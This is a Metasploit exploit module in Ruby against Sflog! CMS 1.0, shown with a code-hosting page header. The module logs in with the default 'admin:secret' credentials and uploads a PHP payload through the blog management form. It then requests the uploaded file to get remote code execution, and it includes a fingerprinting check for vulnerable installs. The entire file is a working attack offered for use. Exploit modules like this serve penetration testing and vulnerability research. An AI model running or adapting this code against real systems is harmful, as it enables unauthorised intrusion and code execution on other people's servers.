158 lines
4.6 KiB
Ruby
158 lines
4.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has
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a default admin credential of "admin:secret", which can be abused to access
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administrative features such as blogs management. Through the management
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interface, we can upload a backdoor that's accessible by any remote user, and then
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gain arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'dun', # Discovery, PoC
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '83767'],
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['EDB', '19626']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Platform' => %w{ linux php },
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jul 06 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
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OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
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OptString.new('PASSWORD', [true, 'The password to login with', 'secret'])
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], self.class)
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end
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def check
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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res = send_request_raw({'uri'=>"#{base}/index.php"})
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if not res
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return Exploit::CheckCode::Unknown
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elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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#
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# login unfortunately is needed, because we need to make sure blogID is set, and the upload
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# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
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# directly.
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#
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def do_login(base)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}/admin/login.php",
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'vars_post' => {
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'userID' => datastore['USERNAME'],
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'password' => datastore['PASSWORD']
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}
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})
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if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\<i\>Access denied\!\<\/i\>/
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return res.get_cookies
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else
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return ''
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end
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end
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#
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# Upload our payload, and then execute it.
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#
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def upload_exec(cookie, base, php_fname, p)
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data = Rex::MIME::Message.new
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data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
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data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
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data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
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data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
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post_data = data.to_s
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print_status("Uploading payload (#{p.length.to_s} bytes)...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}/admin/manage.php",
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data,
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'cookie' => cookie,
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'headers' => {
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'Referer' => "http://#{rhost}#{base}/admin/manage.php",
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'Origin' => "http://#{rhost}"
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}
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})
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if not res
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print_error("No response from host")
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return
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end
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target_path = "#{base}/blogs/download/uploads/#{php_fname}"
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print_status("Requesting '#{target_path}'...")
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res = send_request_raw({'uri'=>target_path})
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if res and res.code == 404
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print_error("Upload unsuccessful: #{res.code.to_s}")
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return
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end
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handler
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end
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def exploit
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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print_status("Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
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cookie = do_login(base)
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if cookie.empty?
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print_error("Unable to login")
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return
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end
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php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
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p = get_write_exec_payload(:unlink_self=>true)
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upload_exec(cookie, base, php_fname, p)
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end
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end
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